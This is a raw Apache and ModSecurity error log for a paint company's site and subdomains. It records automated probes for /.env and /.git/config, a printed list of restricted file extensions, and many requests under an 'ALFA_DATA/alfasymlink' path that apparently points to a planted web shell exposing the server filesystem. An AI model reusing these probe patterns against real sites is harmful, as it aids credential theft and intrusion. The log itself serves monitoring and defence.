[Tue Oct 27 13:21:07.799796 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 52.73.142.41:44119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:21:11.776368 2026] [core:error] [pid 3270272:tid 3270272] (13)Permission denied: [client 3.210.223.61:10064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:1b/eject
[Tue Oct 27 13:21:27.706678 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 3.232.102.111:41908] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:21:35.882937 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 54.156.248.117:8211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:21:43.819424 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 44.217.255.167:13557] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:21:56.064156 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 44.215.61.66:18531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:21:59.767836 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 54.221.203.24:47748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:02.774882 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/Tmp/"] [unique_id "auDduj1hnTmgxc-AO_Gr1AAAAAY"]
[Tue Oct 27 13:22:02.774934 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/Tmp/"] [unique_id "auDduj1hnTmgxc-AO_Gr1AAAAAY"]
[Tue Oct 27 13:22:02.922032 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/dev/"] [unique_id "auDduj1hnTmgxc-AO_Gr2QAAAAY"]
[Tue Oct 27 13:22:02.922088 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/dev/"] [unique_id "auDduj1hnTmgxc-AO_Gr2QAAAAY"]
[Tue Oct 27 13:22:03.312588 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env/"] [unique_id "auDduz1hnTmgxc-AO_Gr5gAAAAY"]
[Tue Oct 27 13:22:03.312831 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env/"] [unique_id "auDduz1hnTmgxc-AO_Gr5gAAAAY"]
[Tue Oct 27 13:22:03.313142 2026] [security2:error] [pid 3271001:tid 3271001] [client 35.238.129.244:20608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env/"] [unique_id "auDduz1hnTmgxc-AO_Gr5gAAAAY"]
[Tue Oct 27 13:22:04.298361 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 52.2.83.227:55187] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:06.235881 2026] [security2:error] [pid 3265904:tid 3265904] [client 35.238.129.244:20620] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config/"] [unique_id "auDdvhDAXMmRjnJCNHLOegAAACc"]
[Tue Oct 27 13:22:06.236114 2026] [security2:error] [pid 3265904:tid 3265904] [client 35.238.129.244:20620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config/"] [unique_id "auDdvhDAXMmRjnJCNHLOegAAACc"]
[Tue Oct 27 13:22:06.236440 2026] [security2:error] [pid 3265904:tid 3265904] [client 35.238.129.244:20620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.git/config/"] [unique_id "auDdvhDAXMmRjnJCNHLOegAAACc"]
[Tue Oct 27 13:22:06.365641 2026] [security2:error] [pid 3265904:tid 3265904] [client 35.238.129.244:20620] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/admin/login/"] [unique_id "auDdvhDAXMmRjnJCNHLOfQAAACc"]
[Tue Oct 27 13:22:06.365682 2026] [security2:error] [pid 3265904:tid 3265904] [client 35.238.129.244:20620] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/admin/login/"] [unique_id "auDdvhDAXMmRjnJCNHLOfQAAACc"]
[Tue Oct 27 13:22:07.795334 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 85.208.96.210:40282] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:07.795643 2026] [security2:error] [pid 3268402:tid 3268402] [client 85.208.96.210:40282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/pci/devices/0000:00:01.1/config"] [unique_id "auDdv1kSJh9YctB3ycD1HQAAACw"]
[Tue Oct 27 13:22:07.795675 2026] [security2:error] [pid 3268402:tid 3268402] [client 85.208.96.210:40282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/pci/devices/0000:00:01.1/config"] [unique_id "auDdv1kSJh9YctB3ycD1HQAAACw"]
[Tue Oct 27 13:22:19.943503 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 3.94.40.182:20819] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:28.174564 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 52.2.58.41:4847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:31.961190 2026] [core:error] [pid 3270272:tid 3270272] (13)Permission denied: [client 44.194.134.53:49563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input5/device/subsystem/drivers/alarmtimer/alarmtimer/driver/uevent
[Tue Oct 27 13:22:35.713032 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 54.157.84.74:27476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:22:36.033812 2026] [security2:error] [pid 3271001:tid 3271001] [client 85.208.96.202:36380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/groff/current/tmac/"] [unique_id "auDd2z1hnTmgxc-AO_GsLwAAAAY"]
[Tue Oct 27 13:22:36.033845 2026] [security2:error] [pid 3271001:tid 3271001] [client 85.208.96.202:36380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/groff/current/tmac/"] [unique_id "auDd2z1hnTmgxc-AO_GsLwAAAAY"]
[Tue Oct 27 13:22:46.806634 2026] [security2:error] [pid 3261792:tid 3261792] [client 107.172.76.131:61261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDd2xlGMQ3MCYA8x58cLwAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:22:46.806712 2026] [security2:error] [pid 3261792:tid 3261792] [client 107.172.76.131:61261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDd2xlGMQ3MCYA8x58cLwAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:22:55.868787 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 18.211.39.188:6839] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:11.736060 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 54.156.124.2:60479] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:30.857003 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 85.208.96.206:62410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:35.709786 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 3.218.35.239:42090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:39.967219 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 44.213.36.21:20468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:43.759161 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 3.213.85.234:6038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:23:51.846832 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 3.221.244.28:18924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:00.423631 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 185.191.171.11:41554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:04.040521 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 34.233.114.237:19825] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:36.015872 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 18.235.81.246:28872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:40.001105 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 3.81.253.213:38976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:43.864282 2026] [security2:error] [pid 3268396:tid 3268396] [client 3.209.174.110:59401] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory13/"] [unique_id "auDeW-jT38MV1IcUTroNJAAAACY"]
[Tue Oct 27 13:24:43.864331 2026] [security2:error] [pid 3268396:tid 3268396] [client 3.209.174.110:59401] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory13/"] [unique_id "auDeW-jT38MV1IcUTroNJAAAACY"]
[Tue Oct 27 13:24:47.671762 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 107.20.25.33:44220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:24:51.836881 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 54.225.98.148:22779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:03.202707 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 85.208.96.196:51264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/ctor
[Tue Oct 27 13:25:05.321438 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 85.208.96.194:61670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:07.882219 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 54.147.80.137:22097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:15.769910 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 35.171.141.42:4310] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:19.477360 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 185.191.171.7:58284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/free_calls
[Tue Oct 27 13:25:38.523843 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDeiM12Z0h54eBnbA_n2wAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:25:38.523902 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDeiM12Z0h54eBnbA_n2wAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:25:43.840496 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 100.29.63.24:10779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:47.812717 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 18.235.81.246:27564] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:51.801315 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 52.204.37.237:27969] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:25:55.750765 2026] [ssl:error] [pid 3265904:tid 3265904] (5)Input/output error: [client 35.173.18.61:10678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:03.709825 2026] [core:error] [pid 3268454:tid 3268454] (13)Permission denied: [client 23.21.148.226:20360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS2/device/subsystem/drivers/intel_rapl_msr/bind
[Tue Oct 27 13:26:18.533510 2026] [security2:error] [pid 3265911:tid 3265911] [client 107.172.76.131:61359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDer7FFSBv6WYh0mSysMQAAADE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 13:26:18.533590 2026] [security2:error] [pid 3265911:tid 3265911] [client 107.172.76.131:61359] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDer7FFSBv6WYh0mSysMQAAADE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 13:26:19.768725 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 44.221.37.41:49062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:27.805579 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 44.215.210.112:24293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:32.104261 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 18.207.79.144:54517] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:38.266673 2026] [security2:error] [pid 3268402:tid 3268402] [client 150.109.230.210:33054] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wordpress-6.8.3.zip"] [unique_id "auDezlkSJh9YctB3ycD1JAAAACw"]
[Tue Oct 27 13:26:40.026841 2026] [core:error] [pid 3268396:tid 3268396] (13)Permission denied: [client 23.21.148.226:4307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/cpu1/subsystem/uevent
[Tue Oct 27 13:26:43.941028 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 52.205.113.104:2597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:51.915284 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 3.229.164.203:48340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:26:56.169007 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 18.214.186.220:11467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:27:07.818938 2026] [core:error] [pid 3268454:tid 3268454] (13)Permission denied: [client 52.3.26.180:23312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/subsystem/drivers_probe
[Tue Oct 27 13:27:15.918510 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 52.200.58.199:1987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:27:28.201240 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 44.210.204.255:41892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:13/eject
[Tue Oct 27 13:27:32.036690 2026] [security2:error] [pid 3268405:tid 3268405] [client 18.232.12.157:2741] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:17/"] [unique_id "auDfBCIDCc5Zji7t-bVU2AAAAC8"]
[Tue Oct 27 13:27:32.036739 2026] [security2:error] [pid 3268405:tid 3268405] [client 18.232.12.157:2741] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:17/"] [unique_id "auDfBCIDCc5Zji7t-bVU2AAAAC8"]
[Tue Oct 27 13:27:44.150373 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 34.206.249.188:25938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:27:48.212887 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 3.211.181.86:47298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/memory11/subsystem/uevent
[Tue Oct 27 13:27:56.856333 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 54.145.82.217:58865] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:04.088127 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 18.213.102.186:32107] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:13.323287 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 185.191.171.10:44992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:16.090630 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 23.23.99.55:56531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:16.090816 2026] [security2:error] [pid 3269335:tid 3269335] [client 23.23.99.55:56531] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory1/node0/memory12/online"] [unique_id "auDfMAbf3KFtuIsifZNJJwAAAAA"]
[Tue Oct 27 13:28:16.090844 2026] [security2:error] [pid 3269335:tid 3269335] [client 23.23.99.55:56531] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory1/node0/memory12/online"] [unique_id "auDfMAbf3KFtuIsifZNJJwAAAAA"]
[Tue Oct 27 13:28:20.074218 2026] [core:error] [pid 3268332:tid 3268332] (13)Permission denied: [client 3.222.85.38:45334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/device/driver/uevent
[Tue Oct 27 13:28:25.707771 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 185.191.171.12:16092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:26.981467 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 185.191.171.12:16100] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:27.762169 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 100.28.57.133:51163] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:31.864706 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 34.227.156.153:62156] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:47.887889 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 100.28.204.82:40209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:51.795257 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 35.169.240.53:21763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:52.181249 2026] [security2:error] [pid 3270132:tid 3270132] [client 85.208.96.197:42500] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/mcpp/ChangeLog.old"] [unique_id "auDfVM12Z0h54eBnbA_n6AAAAAQ"]
[Tue Oct 27 13:28:52.181843 2026] [security2:error] [pid 3270132:tid 3270132] [client 85.208.96.197:42500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/mcpp/ChangeLog.old"] [unique_id "auDfVM12Z0h54eBnbA_n6AAAAAQ"]
[Tue Oct 27 13:28:52.182515 2026] [security2:error] [pid 3270132:tid 3270132] [client 85.208.96.197:42500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/mcpp/ChangeLog.old"] [unique_id "auDfVM12Z0h54eBnbA_n6AAAAAQ"]
[Tue Oct 27 13:28:55.827971 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 98.83.178.66:2368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:28:59.792549 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 34.194.233.48:20292] AH02013: coalesce failed to read from data bucket
